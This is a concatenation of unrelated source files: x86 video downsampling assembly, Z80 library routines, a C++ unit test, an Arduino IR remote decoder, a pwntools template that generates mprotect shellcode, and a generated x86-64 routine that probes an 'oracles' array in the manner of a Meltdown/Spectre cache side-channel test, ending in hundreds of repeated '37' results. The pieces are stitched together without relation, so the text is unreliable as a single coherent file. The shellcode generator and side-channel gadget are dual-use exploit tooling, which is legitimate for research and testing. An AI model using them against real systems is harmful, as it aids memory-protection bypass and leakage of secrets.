; void DyadicBilinearDownsamplerWidthx16_ssse3( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
ALIGN 16
DyadicBilinearDownsamplerWidthx16_ssse3:
push ebx
push edx
push esi
push edi
push ebp
mov edi, [esp+24] ; pDst
mov edx, [esp+28] ; iDstStride
mov esi, [esp+32] ; pSrc
mov ecx, [esp+36] ; iSrcStride
mov ebp, [esp+44] ; iSrcHeight
sar ebp, $1 ; iSrcHeight >> 1
movdqa xmm7, [shufb_mask_low] ; mask low
movdqa xmm6, [shufb_mask_high] ; mask high
.yloops:
mov eax, [esp+40] ; iSrcWidth
sar eax, $1 ; iSrcWidth >> 1
mov ebx, eax ; iDstWidth restored at ebx
sar eax, $3 ; (iSrcWidth >> 1) / 8 ; loop count = num_of_mb
neg ebx ; - (iSrcWidth >> 1)
; each loop = source bandwidth: 16 bytes
.xloops:
; horizonal loop: x16 bytes by source
; mem hi<- ->lo
;1st line pSrc: xmm0: h H g G f F e E d D c C b B a A
;2nd line pSrc: xmm1: p P o O n N m M l L k K j J i I
;=> target:
;: H G F E D C B A, P O N M L K J I
;: h g f e d c b a, p o n m l k j i
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movdqa xmm0, [esi] ; 1st_src_line
movdqa xmm1, [esi+ecx] ; 2nd_src_line
; packing & avg
movdqa xmm2, xmm0 ; h H g G f F e E d D c C b B a A
pshufb xmm0, xmm7 ; 0 H 0 G 0 F 0 E 0 D 0 C 0 B 0 A
pshufb xmm2, xmm6 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a
; another implementation for xmm2 high bits
; psubb xmm2, xmm0 ; h 0 g 0 f 0 e 0 d 0 c 0 b 0 a 0
; psrlw xmm2, 8 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a
pavgb xmm0, xmm2
movdqa xmm3, xmm1
pshufb xmm1, xmm7
pshufb xmm3, xmm6
; psubb xmm3, xmm1
; psrlw xmm3, 8
pavgb xmm1, xmm3
pavgb xmm0, xmm1
packuswb xmm0, xmm1
; write pDst
movq [edi], xmm0
; next SMB
lea esi, [esi+16]
lea edi, [edi+8]
dec eax
jg near .xloops
; next line
lea esi, [esi+2*ecx] ; next end of lines
lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth]
lea edi, [edi+edx]
lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth]
dec ebp
jg near .yloops
pop ebp
pop edi
pop esi
pop edx
pop ebx
ret
; got about 65% improvement over DyadicBilinearDownsamplerWidthx32_sse
WELS_EXTERN DyadicBilinearDownsamplerWidthx32_sse4
;***********************************************************************
; void DyadicBilinearDownsamplerWidthx32_sse4( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
ALIGN 16
DyadicBilinearDownsamplerWidthx32_sse4:
push ebx
push edx
push esi
push edi
push ebp
mov edi, [esp+24] ; pDst
mov edx, [esp+28] ; iDstStride
mov esi, [esp+32] ; pSrc
mov ecx, [esp+36] ; iSrcStride
mov ebp, [esp+44] ; iSrcHeight
sar ebp, $1 ; iSrcHeight >> 1
movdqa xmm7, [shufb_mask_low] ; mask low
movdqa xmm6, [shufb_mask_high] ; mask high
.yloops:
mov eax, [esp+40] ; iSrcWidth
sar eax, $1 ; iSrcWidth >> 1
mov ebx, eax ; iDstWidth restored at ebx
sar eax, $4 ; (iSrcWidth >> 1) / 16 ; loop count = num_of_mb
neg ebx ; - (iSrcWidth >> 1)
; each loop = source bandwidth: 32 bytes
.xloops:
; 1st part horizonal loop: x16 bytes
; mem hi<- ->lo
;1st Line Src: xmm0: h H g G f F e E d D c C b B a A
; xmm1: p P o O n N m M l L k K j J i I
;2nd Line Src: xmm2: h H g G f F e E d D c C b B a A
; xmm3: p P o O n N m M l L k K j J i I
;=> target:
;: P O N M L K J I H G F E D C B A
;: p o n m l k j i h g f e d c b a
;: P .. A
;: p .. a
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movntdqa xmm0, [esi] ; 1st_src_line
movntdqa xmm1, [esi+16] ; 1st_src_line + 16
movntdqa xmm2, [esi+ecx] ; 2nd_src_line
movntdqa xmm3, [esi+ecx+16] ; 2nd_src_line + 16
; packing & avg
movdqa xmm4, xmm0 ; h H g G f F e E d D c C b B a A
pshufb xmm0, xmm7 ; 0 H 0 G 0 F 0 E 0 D 0 C 0 B 0 A
pshufb xmm4, xmm6 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a
; psubb xmm4, xmm0 ; h 0 g 0 f 0 e 0 d 0 c 0 b 0 a 0
; psrlw xmm4, 8 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a
pavgb xmm0, xmm4
movdqa xmm5, xmm1
pshufb xmm1, xmm7
pshufb xmm5, xmm6
; psubb xmm5, xmm1
; psrlw xmm5, 8
pavgb xmm1, xmm5
movdqa xmm4, xmm2
pshufb xmm2, xmm7
pshufb xmm4, xmm6
; psubb xmm4, xmm2
; psrlw xmm4, 8
pavgb xmm2, xmm4
movdqa xmm5, xmm3
pshufb xmm3, xmm7
pshufb xmm5, xmm6
; psubb xmm5, xmm3
; psrlw xmm5, 8
pavgb xmm3, xmm5
packuswb xmm0, xmm1
packuswb xmm2, xmm3
pavgb xmm0, xmm2
; write pDst
movdqa [edi], xmm0
; next SMB
lea esi, [esi+32]
lea edi, [edi+16]
dec eax
jg near .xloops
; next line
lea esi, [esi+2*ecx] ; next end of lines
lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth]
lea edi, [edi+edx]
lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth]
dec ebp
jg near .yloops
pop ebp
pop edi
pop esi
pop edx
pop ebx
ret
WELS_EXTERN DyadicBilinearDownsamplerWidthx16_sse4
;***********************************************************************
; void DyadicBilinearDownsamplerWidthx16_sse4( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
ALIGN 16
DyadicBilinearDownsamplerWidthx16_sse4:
push ebx
push edx
push esi
push edi
push ebp
mov edi, [esp+24] ; pDst
mov edx, [esp+28] ; iDstStride
mov esi, [esp+32] ; pSrc
mov ecx, [esp+36] ; iSrcStride
mov ebp, [esp+44] ; iSrcHeight
sar ebp, $1 ; iSrcHeight >> 1
movdqa xmm7, [shufb_mask_low] ; mask low
movdqa xmm6, [shufb_mask_high] ; mask high
.yloops:
mov eax, [esp+40] ; iSrcWidth
sar eax, $1 ; iSrcWidth >> 1
mov ebx, eax ; iDstWidth restored at ebx
sar eax, $3 ; (iSrcWidth >> 1) / 8 ; loop count = num_of_mb
neg ebx ; - (iSrcWidth >> 1)
; each loop = source bandwidth: 16 bytes
.xloops:
; horizonal loop: x16 bytes by source
; mem hi<- ->lo
;1st line pSrc: xmm0: h H g G f F e E d D c C b B a A
;2nd line pSrc: xmm1: p P o O n N m M l L k K j J i I
;=> target:
;: H G F E D C B A, P O N M L K J I
;: h g f e d c b a, p o n m l k j i
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movntdqa xmm0, [esi] ; 1st_src_line
movntdqa xmm1, [esi+ecx] ; 2nd_src_line
; packing & avg
movdqa xmm2, xmm0 ; h H g G f F e E d D c C b B a A
pshufb xmm0, xmm7 ; 0 H 0 G 0 F 0 E 0 D 0 C 0 B 0 A
pshufb xmm2, xmm6 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a
; psubb xmm2, xmm0 ; h 0 g 0 f 0 e 0 d 0 c 0 b 0 a 0
; psrlw xmm2, 8 ; 0 h 0 g 0 f 0 e 0 d 0 c 0 b 0 a
pavgb xmm0, xmm2
movdqa xmm3, xmm1
pshufb xmm1, xmm7
pshufb xmm3, xmm6
; psubb xmm3, xmm1
; psrlw xmm3, 8
pavgb xmm1, xmm3
pavgb xmm0, xmm1
packuswb xmm0, xmm1
; write pDst
movq [edi], xmm0
; next SMB
lea esi, [esi+16]
lea edi, [edi+8]
dec eax
jg near .xloops
; next line
lea esi, [esi+2*ecx] ; next end of lines
lea esi, [esi+2*ebx] ; reset to base 0 [- 2 * iDstWidth]
lea edi, [edi+edx]
lea edi, [edi+ebx] ; reset to base 0 [- iDstWidth]
dec ebp
jg near .yloops
pop ebp
pop edi
pop esi
pop edx
pop ebx
ret
WELS_EXTERN GeneralBilinearAccurateDownsampler_sse2
;**************************************************************************************************************
;int GeneralBilinearAccurateDownsampler_sse2( unsigned char* pDst, const int iDstStride, const int iDstWidth, const int iDstHeight,
; unsigned char* pSrc, const int iSrcStride, const int iSrcWidth, const int iSrcHeight,
; unsigned int uiScaleX, unsigned int uiScaleY );
;{
;**************************************************************************************************************
ALIGN 16
GeneralBilinearAccurateDownsampler_sse2:
push ebp
push esi
push edi
push ebx
%define pushsize 16
%define localsize 28
%define pDstData esp + pushsize + localsize + 4
%define dwDstStride esp + pushsize + localsize + 8
%define dwDstWidth esp + pushsize + localsize + 12
%define dwDstHeight esp + pushsize + localsize + 16
%define pSrcData esp + pushsize + localsize + 20
%define dwSrcStride esp + pushsize + localsize + 24
%define dwSrcWidth esp + pushsize + localsize + 28
%define dwSrcHeight esp + pushsize + localsize + 32
%define scale esp + 0
%define uiScaleX esp + pushsize + localsize + 36
%define uiScaleY esp + pushsize + localsize + 40
%define tmpHeight esp + 12
%define yInverse esp + 16
%define xInverse esp + 20
%define dstStep esp + 24
sub esp, localsize
pxor xmm0, xmm0
mov edx, 32767
mov eax, [uiScaleX]
and eax, 32767
mov ebx, eax
neg ebx
and ebx, 32767
movd xmm1, eax ; uinc(uiScaleX mod 32767)
movd xmm2, ebx ; -uinc
psllq xmm1, 32
por xmm1, xmm2 ; 0 0 uinc -uinc (dword)
pshufd xmm7, xmm1, 01000100b ; xmm7: uinc -uinc uinc -uinc
mov eax, [uiScaleY]
and eax, 32767
mov ebx, eax
neg ebx
and ebx, 32767
movd xmm6, eax ; vinc(uiScaleY mod 32767)
movd xmm2, ebx ; -vinc
psllq xmm6, 32
por xmm6, xmm2 ; 0 0 vinc -vinc (dword)
pshufd xmm6, xmm6, 01010000b ; xmm6: vinc vinc -vinc -vinc
mov edx, 40003fffh
movd xmm5, edx
punpcklwd xmm5, xmm0 ; 16384 16383
pshufd xmm5, xmm5, 01000100b ; xmm5: 16384 16383 16384 16383
DOWNSAMPLE:
mov eax, [dwDstHeight]
mov edi, [pDstData]
mov edx, [dwDstStride]
mov ecx, [dwDstWidth]
sub edx, ecx
mov [dstStep], edx ; stride - width
dec eax
mov [tmpHeight], eax
mov eax, 16384
mov [yInverse], eax
pshufd xmm4, xmm5, 01010000b ; initial v to 16384 16384 16383 16383
HEIGHT:
mov eax, [yInverse]
mov esi, [pSrcData]
shr eax, 15
mul dword [dwSrcStride]
add esi, eax ; get current row address
mov ebp, esi
add ebp, [dwSrcStride]
mov eax, 16384
mov [xInverse], eax
mov ecx, [dwDstWidth]
dec ecx
movdqa xmm3, xmm5 ; initial u to 16384 16383 16384 16383
WIDTH:
mov eax, [xInverse]
shr eax, 15
movd xmm1, [esi+eax] ; xxxxxxba
movd xmm2, [ebp+eax] ; xxxxxxdc
pxor xmm0, xmm0
punpcklwd xmm1, xmm2 ; xxxxdcba
punpcklbw xmm1, xmm0 ; 0d0c0b0a
punpcklwd xmm1, xmm0 ; 000d000c000b000a
movdqa xmm2, xmm4 ; xmm2: vv(1-v)(1-v) tmpv
pmaddwd xmm2, xmm3 ; mul u(1-u)u(1-u) on xmm2
movdqa xmm0, xmm2
pmuludq xmm2, xmm1
psrlq xmm0, 32
psrlq xmm1, 32
pmuludq xmm0, xmm1
paddq xmm2, xmm0
pshufd xmm1, xmm2, 00001110b
paddq xmm2, xmm1
psrlq xmm2, 29
movd eax, xmm2
inc eax
shr eax, 1
mov [edi], al
inc edi
mov eax, [uiScaleX]
add [xInverse], eax
paddw xmm3, xmm7 ; inc u
psllw xmm3, 1
psrlw xmm3, 1
loop WIDTH
WIDTH_END:
mov eax, [xInverse]
shr eax, 15
mov cl, [esi+eax]
mov [edi], cl
inc edi
mov eax, [uiScaleY]
add [yInverse], eax
add edi, [dstStep]
paddw xmm4, xmm6 ; inc v
psllw xmm4, 1
psrlw xmm4, 1
dec dword [tmpHeight]
jg HEIGHT
LAST_ROW:
mov eax, [yInverse]
mov esi, [pSrcData]
shr eax, 15
mul dword [dwSrcStride]
add esi, eax ; get current row address
mov eax, 16384
mov [xInverse], eax
mov ecx, [dwDstWidth]
LAST_ROW_WIDTH:
mov eax, [xInverse]
shr eax, 15
mov al, [esi+eax]
mov [edi], al
inc edi
mov eax, [uiScaleX]
add [xInverse], eax
loop LAST_ROW_WIDTH
LAST_ROW_END:
add esp, localsize
pop ebx
pop edi
pop esi
pop ebp
%undef pushsize
%undef localsize
%undef pSrcData
%undef dwSrcWidth
%undef dwSrcHeight
%undef dwSrcStride
%undef pDstData
%undef dwDstWidth
%undef dwDstHeight
%undef dwDstStride
%undef scale
%undef uiScaleX
%undef uiScaleY
%undef tmpHeight
%undef yInverse
%undef xInverse
%undef dstStep
ret
WELS_EXTERN GeneralBilinearFastDownsampler_sse2
;**************************************************************************************************************
;int GeneralBilinearFastDownsampler_sse2( unsigned char* pDst, const int iDstStride, const int iDstWidth, const int iDstHeight,
; unsigned char* pSrc, const int iSrcStride, const int iSrcWidth, const int iSrcHeight,
; unsigned int uiScaleX, unsigned int uiScaleY );
;{
;**************************************************************************************************************
ALIGN 16
GeneralBilinearFastDownsampler_sse2:
push ebp
push esi
push edi
push ebx
%define pushsize 16
%define localsize 28
%define pDstData esp + pushsize + localsize + 4
%define dwDstStride esp + pushsize + localsize + 8
%define dwDstWidth esp + pushsize + localsize + 12
%define dwDstHeight esp + pushsize + localsize + 16
%define pSrcData esp + pushsize + localsize + 20
%define dwSrcStride esp + pushsize + localsize + 24
%define dwSrcWidth esp + pushsize + localsize + 28
%define dwSrcHeight esp + pushsize + localsize + 32
%define scale esp + 0
%define uiScaleX esp + pushsize + localsize + 36
%define uiScaleY esp + pushsize + localsize + 40
%define tmpHeight esp + 12
%define yInverse esp + 16
%define xInverse esp + 20
%define dstStep esp + 24
sub esp, localsize
pxor xmm0, xmm0
mov edx, 65535
mov eax, [uiScaleX]
and eax, edx
mov ebx, eax
neg ebx
and ebx, 65535
movd xmm1, eax ; uinc(uiScaleX mod 65536)
movd xmm2, ebx ; -uinc
psllq xmm1, 32
por xmm1, xmm2 ; 0 uinc 0 -uinc
pshuflw xmm7, xmm1, 10001000b ; xmm7: uinc -uinc uinc -uinc
mov eax, [uiScaleY]
and eax, 32767
mov ebx, eax
neg ebx
and ebx, 32767
movd xmm6, eax ; vinc(uiScaleY mod 32767)
movd xmm2, ebx ; -vinc
psllq xmm6, 32
por xmm6, xmm2 ; 0 vinc 0 -vinc
pshuflw xmm6, xmm6, 10100000b ; xmm6: vinc vinc -vinc -vinc
mov edx, 80007fffh ; 32768 32767
movd xmm5, edx
pshuflw xmm5, xmm5, 01000100b ; 32768 32767 32768 32767
mov ebx, 16384
FAST_DOWNSAMPLE:
mov eax, [dwDstHeight]
mov edi, [pDstData]
mov edx, [dwDstStride]
mov ecx, [dwDstWidth]
sub edx, ecx
mov [dstStep], edx ; stride - width
dec eax
mov [tmpHeight], eax
mov eax, 16384
mov [yInverse], eax
pshuflw xmm4, xmm5, 01010000b
psrlw xmm4, 1 ; initial v to 16384 16384 16383 16383
FAST_HEIGHT:
mov eax, [yInverse]
mov esi, [pSrcData]
shr eax, 15
mul dword [dwSrcStride]
add esi, eax ; get current row address
mov ebp, esi
add ebp, [dwSrcStride]
mov eax, 32768
mov [xInverse], eax
mov ecx, [dwDstWidth]
dec ecx
movdqa xmm3, xmm5 ; initial u to 32768 32767 32768 32767
FAST_WIDTH:
mov eax, [xInverse]
shr eax, 16
movd xmm1, [esi+eax] ; xxxxxxba
movd xmm2, [ebp+eax] ; xxxxxxdc
punpcklwd xmm1, xmm2 ; xxxxdcba
punpcklbw xmm1, xmm0 ; 0d0c0b0a
movdqa xmm2, xmm4 ; xmm2: vv(1-v)(1-v) tmpv
pmulhuw xmm2, xmm3 ; mul u(1-u)u(1-u) on xmm2
pmaddwd xmm2, xmm1
pshufd xmm1, xmm2, 00000001b
paddd xmm2, xmm1
movd xmm1, ebx
paddd xmm2, xmm1
psrld xmm2, 15
packuswb xmm2, xmm0
movd eax, xmm2
mov [edi], al
inc edi
mov eax, [uiScaleX]
add [xInverse], eax
paddw xmm3, xmm7 ; inc u
loop FAST_WIDTH
FAST_WIDTH_END:
mov eax, [xInverse]
shr eax, 16
mov cl, [esi+eax]
mov [edi], cl
inc edi
mov eax, [uiScaleY]
add [yInverse], eax
add edi, [dstStep]
paddw xmm4, xmm6 ; inc v
psllw xmm4, 1
psrlw xmm4, 1
dec dword [tmpHeight]
jg FAST_HEIGHT
FAST_LAST_ROW:
mov eax, [yInverse]
mov esi, [pSrcData]
shr eax, 15
mul dword [dwSrcStride]
add esi, eax ; get current row address
mov eax, 32768
mov [xInverse], eax
mov ecx, [dwDstWidth]
FAST_LAST_ROW_WIDTH:
mov eax, [xInverse]
shr eax, 16
mov al, [esi+eax]
mov [edi], al
inc edi
mov eax, [uiScaleX]
add [xInverse], eax
loop FAST_LAST_ROW_WIDTH
FAST_LAST_ROW_END:
add esp, localsize
pop ebx
pop edi
pop esi
pop ebp
%undef pushsize
%undef localsize
%undef pSrcData
%undef dwSrcWidth
%undef dwSrcHeight
%undef dwSrcStride
%undef pDstData
%undef dwDstWidth
%undef dwDstHeight
%undef dwDstStride
%undef scale
%undef uiScaleX
%undef uiScaleY
%undef tmpHeight
%undef yInverse
%undef xInverse
%undef dstStep
ret |
; void outp_callee(uint port, uchar byte)
; 09.2005 aralbrec
SECTION code_clib
PUBLIC outp_callee
PUBLIC _outp_callee
PUBLIC asm_outp
.outp_callee
._outp_callee
pop af
pop de
pop bc
push af
.asm_outp
; bc = port
; e = byte
IF __CPU_R2KA__|__CPU_R3K__
ld h,b
ld l,c
ld a,e
defb 0d3h ; ioi
ld (hl),a
ELSE
out (c),e
ENDIF
ret
|
mov al, 0x55
mov ah, 0xaa
mov ax, 0xaa00
mov bl, 0xaa
mov bh, 0x55
mov bx, 0x00aa
mov cl, [0x55aa]
mov ch, [0xaa55]
mov cx, [si]
mov dx, ax
mov dh, ah
mov dl, al |
; ===============================================================
; Dec 2013
; ===============================================================
;
; unsigned long strtoul( const char * restrict nptr, char ** restrict endptr, int base)
;
; Read number encoded in given radix from string; if base == 0,
; radix is auto-detected as decimal, octal or hex.
;
; Functionality is complicated so best refer to online C docs.
;
; ===============================================================
SECTION code_stdlib
PUBLIC asm_strtoul
EXTERN __strtoul__, error_einval_zc, error_erange_mc, error_erange_zc
asm_strtoul:
; enter : bc = int base
; de = char **endp
; hl = char *nptr
;
; exit : *endp = bc as detailed below
;
; no error:
;
; carry reset
; dehl = unsigned long result
; bc = char *nptr (& next unconsumed char)
; ixl = base
;
; invalid input string or base:
;
; carry set
; bc = initial char *nptr
; ixl = base
; dehl = 0
; errno set to EINVAL
;
; overflow:
;
; carry set
; bc = char *nptr (& next unconsumed char following oversized number)
; ixl = base
; dehl = $ffffffff (ULONG_MAX) or $80000000 (LONG_MIN)
; errno set to ERANGE
;
; uses : af, bc, de, hl, ix
call __strtoul__
ret nc ; no errors
; what kind of error was it
dec a
jp m, error_einval_zc ; on invalid base or invalid string
jr z, signed_overflow
unsigned_overflow:
ld de,$ffff
jp error_erange_mc ; dehl = $ffffffff = ULONG_MAX
signed_overflow:
ld de,$8000
jp error_erange_zc ; dehl = $800000000 = LONG_MIN
|
/*
* Copyright (c) 2017-2018 Morwenn
* SPDX-License-Identifier: MIT
*/
//===----------------------------------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
#include <string>
#include <type_traits>
#include <catch2/catch.hpp>
#include <tight_pair.h>
TEST_CASE( "test default constructor triviality" )
{
static_assert(std::is_trivially_destructible_v<cruft::tight_pair<int, float>>);
static_assert(not std::is_trivially_destructible_v<cruft::tight_pair<int, std::string>>);
}
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
import six
%>
<%docstring>mprotect(addr, length, prot) -> str
Invokes the syscall mprotect.
See 'man 2 mprotect' for more information.
Arguments:
addr(void*): addr
len(size_t): len
prot(int): prot
Returns:
int
</%docstring>
<%page args="addr=0, length=0, prot=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = ['addr']
can_pushstr_array = []
argument_names = ['addr', 'length', 'prot']
argument_values = [addr, length, prot]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%r' % (name, arg))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_mprotect']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* mprotect(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)} |
#include "IRremote.h"
// Reverse Engineered by looking at RAW dumps generated by IRremote
// I have since discovered that Denon publish all their IR codes:
// https://www.google.co.uk/search?q=DENON+MASTER+IR+Hex+Command+Sheet
// -> http://assets.denon.com/documentmaster/us/denon%20master%20ir%20hex.xls
// Having looked at the official Denon Pronto sheet and reverse engineered
// the timing values from it, it is obvious that Denon have a range of
// different timings and protocols ...the values here work for my AVR-3801 Amp!
//==============================================================================
// DDDD EEEEE N N OOO N N
// D D E NN N O O NN N
// D D EEE N N N O O N N N
// D D E N NN O O N NN
// DDDD EEEEE N N OOO N N
//==============================================================================
#define DENON_BITS 14 // The number of bits in the command
#define DENON_HEADER_MARK 300 // The length of the Header:Mark
#define DENON_HEADER_SPACE 750 // The lenght of the Header:Space
#define DENON_BIT_MARK 300 // The length of a Bit:Mark
#define DENON_ONE_SPACE 1800 // The length of a Bit:Space for 1's
#define DENON_ZERO_SPACE 750 // The length of a Bit:Space for 0's
//+=============================================================================
//
#if SEND_DENON
void IRsend::sendDenon(unsigned long data, int nbits) {
// Set IR carrier frequency
enableIROut(38);
// Header
mark(DENON_HEADER_MARK);
space(DENON_HEADER_SPACE);
// Data
sendPulseDistanceWidthData(DENON_BIT_MARK, DENON_ONE_SPACE, DENON_BIT_MARK, DENON_ZERO_SPACE, data, nbits);
// Footer
mark(DENON_BIT_MARK);
space(0); // Always end with the LED off
}
#endif
//+=============================================================================
//
#if DECODE_DENON
bool IRrecv::decodeDenon() {
int offset = 1; // Skip the gap reading
// Check we have the right amount of data
if (irparams.rawlen != 1 + 2 + (2 * DENON_BITS) + 1) {
return false;
}
// Check initial Mark+Space match
if (!MATCH_MARK(results.rawbuf[offset], DENON_HEADER_MARK)) {
return false;
}
offset++;
if (!MATCH_SPACE(results.rawbuf[offset], DENON_HEADER_SPACE)) {
return false;
}
offset++;
// Read the bits in
if (!decodePulseDistanceData(DENON_BITS, offset, DENON_BIT_MARK, DENON_ONE_SPACE, DENON_ZERO_SPACE)) {
return false;
}
// Success
results.bits = DENON_BITS;
results.decode_type = DENON;
return true;
}
bool IRrecv::decodeDenon(decode_results *aResults) {
bool aReturnValue = decodeDenon();
*aResults = results;
return aReturnValue;
}
#endif
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rax
push %rbp
lea addresses_UC_ht+0xb813, %rbp
nop
nop
nop
sub %r9, %r9
movb (%rbp), %al
nop
nop
nop
nop
xor $21294, %r10
pop %rbp
pop %rax
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %rax
push %rcx
push %rdx
// Store
lea addresses_D+0x16cbf, %r13
nop
xor %rdx, %rdx
movw $0x5152, (%r13)
nop
nop
nop
nop
cmp %rcx, %rcx
// Faulty Load
lea addresses_UC+0xd997, %rax
nop
cmp %r15, %r15
vmovups (%rax), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %rcx
lea oracles, %rdx
and $0xff, %rcx
shlq $12, %rcx
mov (%rdx,%rcx,1), %rcx
pop %rdx
pop %rcx
pop %rax
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 2, 'congruent': 3, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 